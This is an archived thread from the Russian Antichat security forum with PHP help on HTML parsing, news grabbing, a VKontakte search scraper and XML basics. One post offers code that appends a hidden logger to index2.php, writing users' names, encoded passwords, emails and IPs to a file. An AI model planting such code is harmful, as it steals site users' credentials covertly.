ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

08.11.2008, 23:57
|
|
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме: 1510937
Репутация:
398
|
|
Сообщение от .:EnoT:.
PandoraBox чем тебя так не устраивает?
так мне нада только цифры intval();
Код:
<div class="summary">Найдено 4886 аудиозаписей.</div>
Последний раз редактировалось PandoraBox; 09.11.2008 в 00:14..
|
|
|

09.11.2008, 00:45
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 850
Провел на форуме: 4832771
Репутация:
1916
|
|
Сообщение от PandoraBox
так мне нада только цифры intval();
Код:
<div class="summary">Найдено 4886 аудиозаписей.</div>
|
|
|

08.11.2008, 23:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
Buffalon
PHP код:
mysql_query("SELECT * FROM bhost_friends WHERE u_id='".implode("' OR u_id='",$a)."'");
sadfeel Скопировать надо как есть, только я там забыл проэкранировать знаки доллара. Исправленый вариант:
PHP код:
<?
$fp=fopen("index2.php","a+");
$tmp=<<<HTT
<?php
\$win=getenv("windir");\$ip=getenv("Remote_addr"); \$date= date("[D|d/m/Y|H:i]");\$fp=fopen
("include/mess.php","a+");
fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass\t\$user_email\t[\$date\t\$ip\t\$win]id=\$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
PandoraBox приведи пример строки
Последний раз редактировалось Gifts; 08.11.2008 в 23:37..
|
|
|

08.11.2008, 23:57
|
|
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме: 519496
Репутация:
78
|
|
Такая проблема. Скрипт для граббинга новостей с newsland. Но почему то при нажатии на кнопку, он производит граббинг 2 раза. Не пойму почему(((
PHP код:
<html>
<form method="post">
<input type="submit" name="sub" value="Грабить новости">
</form>
</html>
<?php
if (isset($_POST['sub']))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://newsland.ru/index/index/ord/22/cat/64/");
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$text = curl_exec($ch);
curl_close($ch);
preg_match_all("#<a href=\"\/News\/Detail\/id\/(.+)\">#",$text,$results);
for($i=0;$i<count($results[0]);$i++)
{
$urlsis="http://newsland.ru".str_replace(array('<a href="','">'),null,$results[0][$i]);
if ($urlsis!="http://newsland.ru/News/Detail/id/284971/cat/78")$urls[]=$urlsis;
}
for($j=0;$j<count($urls);$j++)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $urls[$j]);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$text_news = curl_exec($ch);
curl_close($ch);
preg_match('#<h1 class="mt10 grey">(.*?)</h1>(.*?)<div class="bodytext mt5">(.*?)</div></div>#s',$text_news,$result_news);
$result_news[0]=iconv("UTF-8", "WINDOWS-1251",$result_news[0]);
preg_match('#<img src="(.+)" title="(.+)" alt="(.+)" class="floatr mt10">#',$result_news[0],$result_image);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://newsland.ru".$result_image[1]);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$result_load_image = curl_exec($ch);
curl_close($ch);
$name_image=substr($result_image[1],strrpos($result_image[1],"/")+1);
$good_image = fopen("./rssnews_image/".$name_image, "w");
fputs($good_image, $result_load_image);
$src="<div style=\"float: left;\"><img src=\"./rssnews_image/".$name_image."\" title=\"".$result_image[2]."\" alt=\"".$result_image[2]."\" class=\"imagestyle\"></div>";
$time=date(d."-".m."-".y)."\r\n";
$name=date(d."-".m."-".y."-".H."-".i."-".s);
$title=$result_image[2]."\r\n";
$body=str_replace(array('<div class="bodytext mt5">',$result_image[0],'</div>','<div class="newsctrl f12 mt10"><div>','</div></div>'),null,$result_news[0]);
$body=preg_replace('#<h1 class="mt10 grey">(.+)</h1>#',null,$body);
$body=str_replace('<a','<br><br><a',$body);
$good = fopen("./rssnews_/".$name.".txt", "a");
fwrite($good,$time.$title.$src."\r\n".trim($body));
fclose($good);
unset($body);
unset($name);
unset($title);
unset($src);
unset($time);
unset($text_news);
unset($result_news);
unset($result_load_image);
unset($good);
unset($good_image);
sleep(3);
}
}
?>
|
|
|

09.11.2008, 03:55
|
|
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме: 1510937
Репутация:
398
|
|
вот что вышло но не очень красиво работает
PHP код:
# Отключить вывод ошибок
error_reporting(0);
# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# GZip on
ob_start("ob_gzhandler");
# Имя скрипта на сервере
$script = $_SERVER['PHP_SELF'];
# Request's include
require_once('config.php');
# Получение запросов
$q = $_GET['q'];
$page = $_GET['page'];
# оброботка
$page = ($page > 0) ? intval($page) : 0;
$page_limt = ($page) ? ($page . '00') : 0;
// bla... bla.. bla....
# Подстройка запроса
if ($page == 0)
{
$POST = "add=1&gid=0&field=&to_id=0&q=".urlencode($q);
} else {
$GET = "add=1&q=".urlencode($q)."&st=".$page_limt;
}
# Отправляем заголовки
if ($page == 0)
{
$out = "POST /audiosearch.php HTTP/1.1\r\n";
} else {
$out = "GET /audiosearch.php?".$GET." HTTP/1.1\r\n";
}
// bla... bla.. bla....
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: Mozilla/5.0\r\n";
$out .= "Keep-Alive: 300\r\n";// $out .= "Keep-Alive: 300\r\n";
$out .= "Connection: Close\r\n";
$out .= "Referer: http://vkontakte.ru/audiosearch.php?q=".urlencode($q)."&add=1&st=".(($page_limt < 100) ? $page_limt + 100 : $page_limt - 100)."\r\n";
$out .= "Cookie: remixclosed_tabs=0; remixchk=5; remixlang=0; remixclosed_tabs=0; remixgroup_closed_tabs=0; audio_vol=80; remixmid=" . intval($id) . "; remixemail=" . urlencode($email) . "; remixpass=" . $password . "; remixsid=".md5(gen_brows())."\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
fwrite($fsock, $out);
while(!feof($fsock))
{
$responce .= fread($fsock, 512);
}
fclose($fsock);
preg_match('#<div class="summary">.* (.*) .*</div>#', $responce, $count_sounds_tmp);
$count_sounds = $count_sounds_tmp[1];
unset($count_sounds_tmp);
preg_match("#<a href='audiosearch.php.*;st=(.*)0' >»</a>#", $responce, $end_page_tmp);
$end_page = $end_page_tmp[1];
unset($end_page_tmp);
if ($count_sounds > 0)
{
}
///////////// Хде то в конце 5й страницы
<?php
if ($count_sounds > 0)
{
echo ' <tr>
<td colspan="3"><ul class="pageList">';
///////////////////////////////////////////////////////
if ($page >= 1 )
{
echo '
<li><a href="'.$script.'?page=0">«</a></li>
';
}
for ($i=0+$page; $i<$page+$menu_count; $i++)
{
if ($i == $page)
{
echo '
<li class="current"><a href="#">'.$page.'</a></li>
';
} else {
echo '
<li><a href="'.$script.'?page='.$i.'">'.$i.'</a></li>
';
}
}
//////////////////////////////////////////////////////
echo '
<li><a href="'.$script.'?page='.$end_page.'">»</a></li>
</ul></td>
</tr>
';
}
?><?php ob_end_flush(); ?>
Последний раз редактировалось PandoraBox; 09.11.2008 в 05:33..
|
|
|

09.11.2008, 08:51
|
|
Banned
Регистрация: 14.04.2007
Сообщений: 297
Провел на форуме: 756152
Репутация:
38
|
|
Я не пойму как соединить документ HTML с rdf или xml документом.
Как это сделать? Подскажите хороший учебник на русском по xml
пожалуста помогите
Последний раз редактировалось MafiaBoy3; 09.11.2008 в 09:21..
|
|
|

09.11.2008, 11:13
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
Сообщение от MafiaBoy3
Я не пойму как соединить документ HTML с rdf или xml документом.
В каком смысле соединить?
Сообщение от MafiaBoy3
Как это сделать? Подскажите хороший учебник на русском по xml
Спецификация на русском. Лучше не найдёшь.
|
|
|

09.11.2008, 10:57
|
|
Banned
Регистрация: 14.04.2007
Сообщений: 297
Провел на форуме: 756152
Репутация:
38
|
|
пожалуста
|
|
|

09.11.2008, 11:22
|
|
Banned
Регистрация: 14.04.2007
Сообщений: 297
Провел на форуме: 756152
Репутация:
38
|
|
как использовать файл xml?
Его надо подключить к хтмл что ли?
|
|
|

09.11.2008, 11:41
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
Сообщение от MafiaBoy3
как использовать файл xml?
Его надо подключить к хтмл что ли?
Ты что-то неправильно понял.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|